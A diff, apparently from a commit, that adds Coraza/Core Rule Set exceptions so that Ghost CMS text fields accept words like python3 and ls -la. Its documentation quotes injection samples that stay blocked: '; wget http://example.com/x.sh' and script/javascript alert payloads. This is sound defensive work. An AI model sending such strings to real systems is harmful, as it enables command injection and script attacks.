Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Waiting to run
check / check (push) Waiting to run
Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with python3, powershell, ls -la and .htaccess. Fixes in ghost.conf: - the rules of plain text, now eight with 932235, for staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature image captions, members' comments, the CSV import's labels, ActivityPub, and the analytics' query fields; - 932235 for the existing plain-text fields too, so "powershell & python3" passes there; - filter skips six more command rules, for the post picker's title:~'powershell & python3'; - staff invitation addresses, email_segment and a tag's code injection. Model: opus-5-5
This commit is contained in:
1 parent
0cb6dded98
commit
4228f0ac9f
5 files changed
+577
-33
No files matched your search
@@ -610,8 +610,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
its searches, its file names, its account names, its comments and its
|
its searches, its file names, its account names, its comments and its
|
||||||
documents;
|
documents;
|
||||||
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
||||||
email addresses, its code injection, its settings and a post saved from
|
email addresses, its code injection, its settings, its analytics, its
|
||||||
its editor, HTML included.
|
members' comments, ActivityPub and a post saved from its editor, HTML
|
||||||
|
included.
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||||
|
|||||||
@@ -1747,31 +1747,62 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
|||||||
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
||||||
and the request it refused. Ghost's admin and integrations call the Admin API
|
and the request it refused. Ghost's admin and integrations call the Admin API
|
||||||
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
||||||
`/ghost/api/content/`, and members call `/members/api/`.
|
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
||||||
|
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
||||||
|
|
||||||
Three query fields skip some rules:
|
The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
|
||||||
|
932260 and 932380. They refused words that name commands and files, such as
|
||||||
|
`python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
|
||||||
|
|
||||||
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
|
These query fields skip some rules:
|
||||||
API and the Content API, so `tag:powershell` passes;
|
|
||||||
|
- `filter`, a query in Ghost's own filter language, skips the rules of plain
|
||||||
|
text except 930120, on the Admin API and the Content API;
|
||||||
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
||||||
the Admin API;
|
the Admin API;
|
||||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||||
930120 and 932120.
|
930120 and 932120;
|
||||||
|
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
|
||||||
|
the rules of plain text under `/ghost/api/admin/stats/`;
|
||||||
|
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||||
|
on the Admin API's posts;
|
||||||
|
- `query`, a search for an account in ActivityPub, skips the rules of plain
|
||||||
|
text;
|
||||||
|
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
||||||
|
|
||||||
The fields of JSON bodies where a person types plain text skip 930120, 932120,
|
The fields of JSON bodies where a person types plain text skip the rules of
|
||||||
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
|
plain text. They are these fields of posts, pages, tags, labels, members,
|
||||||
pages, tags, labels, members, newsletters and snippets, on the Admin API:
|
newsletters and snippets, on the Admin API:
|
||||||
|
|
||||||
- `title`, `name` and `slug`;
|
- `title`, `name` and `slug`;
|
||||||
- a post's `tags` and a member's `labels`, by name or slug;
|
- a post's `tags` and a member's `labels`, by name or slug;
|
||||||
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
||||||
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
||||||
|
|
||||||
A member's `name` at `/members/api/` skips them too. A member's `email` skips
|
These fields on the Admin API skip them too:
|
||||||
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
|
|
||||||
member. A staff user's address skips them too: `username` when signing in, and
|
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
|
||||||
`email` when creating the first staff user, asking for a password reset or
|
- `blogTitle` and `name` when creating the first staff user;
|
||||||
saving a profile.
|
- `name` when accepting an invitation;
|
||||||
|
- `name`, `description` and `benefits` of tiers;
|
||||||
|
- `name`, `code`, `display_title` and `display_description` of offers;
|
||||||
|
- `title`, `description` and `excerpt` of recommendations;
|
||||||
|
- `name` and `description` of integrations, and `name` of webhooks;
|
||||||
|
- `feature_image_alt` and `feature_image_caption` of posts and pages.
|
||||||
|
|
||||||
|
These fields skip them on their own paths:
|
||||||
|
|
||||||
|
- a member's `name` at `/members/api/`;
|
||||||
|
- `html` of a member's comment at `/members/api/comments/`;
|
||||||
|
- `labels`, when the admin imports members from a CSV file;
|
||||||
|
- in ActivityPub, `content` of a note or a reply, and `name`, `username` and
|
||||||
|
`bio` of the account.
|
||||||
|
|
||||||
|
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
||||||
|
the admin adds or edits a member. A staff user's address skips them too:
|
||||||
|
`username` when signing in, and `email` when creating the first staff user,
|
||||||
|
asking for a password reset, saving a profile, inviting a staff user or
|
||||||
|
accepting an invitation.
|
||||||
|
|
||||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||||
|
|
||||||
@@ -1791,20 +1822,24 @@ The articles skip these rules:
|
|||||||
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
||||||
These fields on the Admin API hold it:
|
These fields on the Admin API hold it:
|
||||||
|
|
||||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||||
- `value` of settings, since the site's settings hold its code injection.
|
- `value` of settings, since the site's settings hold its code injection.
|
||||||
|
|
||||||
Code injection skips these rules:
|
Code injection skips these rules:
|
||||||
|
|
||||||
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
|
- the rules of plain text except 932235;
|
||||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||||
elements.
|
elements.
|
||||||
|
|
||||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
|
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
|
||||||
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
|
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
|
||||||
injection are still refused in every field above. Script injection is too,
|
injection are still refused in every field above. Script injection is too,
|
||||||
outside the articles. `; wget http://example.com/x.sh` is still refused in the
|
outside the articles.
|
||||||
query fields, the plain text and the addresses.
|
|
||||||
|
`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
|
||||||
|
`url`, `email_segment` and `email`. The plain text, the articles and the other
|
||||||
|
query fields skip 932235, which refuses it, since 932235 also refuses
|
||||||
|
`powershell & python3`.
|
||||||
|
|
||||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||||
That name holds `.profile`, a file on the list of system files, so the name
|
That name holds `.profile`, a file on the list of system files, so the name
|
||||||
|
|||||||
@@ -7,7 +7,8 @@
|
|||||||
#
|
#
|
||||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||||
# and members call /members/api/. Coraza names a field of a JSON body by its
|
# and members call /members/api/. The admin calls ActivityPub, a service of its
|
||||||
|
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
|
||||||
# path, so the title of the first post saved is json.posts.0.title.
|
# path, so the title of the first post saved is json.posts.0.title.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||||
@@ -17,11 +18,22 @@
|
|||||||
SecRule &TX:app_ghost "@eq 0" \
|
SecRule &TX:app_ghost "@eq 0" \
|
||||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
||||||
|
|
||||||
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
# filter, a query in Ghost's own filter language, skips seven rules on the
|
||||||
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
# Admin API and the Content API:
|
||||||
|
# 932120: filter=tag:powershell, filter=name:~'powershell'
|
||||||
|
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
|
||||||
|
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
|
||||||
|
# post picker sends when a person types that title
|
||||||
|
# 932380: filter=title:~'python3 & powershell'
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
||||||
"id:900350,phase:1,pass,nolog,\
|
"id:900350,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:filter"
|
||||||
|
|
||||||
# search, the search for a member by name or address, skips four rules on the
|
# search, the search for a member by name or address, skips four rules on the
|
||||||
# Admin API:
|
# Admin API:
|
||||||
@@ -45,10 +57,51 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||||
|
|
||||||
# The fields a person types plain text into skip seven rules on the Admin API:
|
# The query fields of the analytics pages skip the eight rules of plain text,
|
||||||
|
# which 900353 lists, on /ghost/api/admin/stats/:
|
||||||
|
# 930120: pathname=/.htaccess
|
||||||
|
# 932120: source=powershell.example.com
|
||||||
|
# 932235, 932260: utm_campaign=powershell & python3
|
||||||
|
# 932250: utm_term=ls -la
|
||||||
|
# These fields filter the figures by a page, the site a visit came from, or a
|
||||||
|
# campaign: pathname, source, utm_source, utm_medium, utm_campaign,
|
||||||
|
# utm_content and utm_term.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
|
"id:900367,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
|
||||||
|
|
||||||
|
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||||
|
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||||
|
"id:900368,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
||||||
|
|
||||||
|
# query, a search for an account in ActivityPub, skips the eight rules of plain
|
||||||
|
# text: query=python3, query=@powershell@example.com.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
||||||
|
"id:900369,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
||||||
|
|
||||||
|
# The fields a person types plain text into skip eight rules, the rules of
|
||||||
|
# plain text, on the Admin API:
|
||||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||||
# 932120: the page's slug about-python3-powershell-htaccess
|
# 932120: the page's slug about-python3-powershell-htaccess
|
||||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||||
|
# 932235: the title "powershell & python3"
|
||||||
# 932260: the tag python3
|
# 932260: the tag python3
|
||||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
||||||
# These fields hold plain text:
|
# These fields hold plain text:
|
||||||
@@ -64,11 +117,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
||||||
|
|
||||||
# name, the name a member saves at /members/api/, skips the same seven rules.
|
# name, the name a member saves at /members/api/, skips the same eight rules.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||||
"id:900359,phase:1,pass,nolog,chain"
|
"id:900359,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||||
@@ -76,10 +130,96 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
||||||
|
|
||||||
|
# More fields of plain text skip the same eight rules on the Admin API, which
|
||||||
|
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
|
||||||
|
# "powershell & python3 deal" in them:
|
||||||
|
# users.<n>.name, slug, bio, location and website, a staff user's profile
|
||||||
|
# setup.<n>.blogTitle and name, creating the first staff user
|
||||||
|
# invitation.<n>.name, accepting a staff invitation
|
||||||
|
# tiers.<n>.name, description and benefits
|
||||||
|
# offers.<n>.name, code, display_title and display_description
|
||||||
|
# recommendations.<n>.title, description and excerpt
|
||||||
|
# integrations.<n>.name and description, and webhooks.<n>.name
|
||||||
|
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
|
||||||
|
# of pages
|
||||||
|
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900370,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
|
||||||
|
|
||||||
|
# A member's comment, html at /members/api/comments/, skips the same eight
|
||||||
|
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
|
||||||
|
# rules for scripts and HTML still refuse a <script> element, an event handler
|
||||||
|
# and a javascript: link in it.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
|
||||||
|
"id:900371,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
|
||||||
|
|
||||||
|
# labels, which the admin gives the members imported from a CSV file at
|
||||||
|
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
|
||||||
|
# "python3 import" and "powershell & .htaccess".
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
||||||
|
"id:900372,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:labels "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
||||||
|
|
||||||
|
# In ActivityPub, a note's or a reply's content and an account's name, username
|
||||||
|
# and bio skip the same eight rules, which refused "Trying python3 & powershell"
|
||||||
|
# and the bio "ls -la and .htaccess tips". Each field skips them on its own path:
|
||||||
|
# content, posting a note at /.ghost/activitypub/v1/actions/note or a reply
|
||||||
|
# under /.ghost/activitypub/v1/actions/reply/
|
||||||
|
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
||||||
|
"id:900373,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.content$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.content$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.content$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
||||||
|
"id:900374,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
|
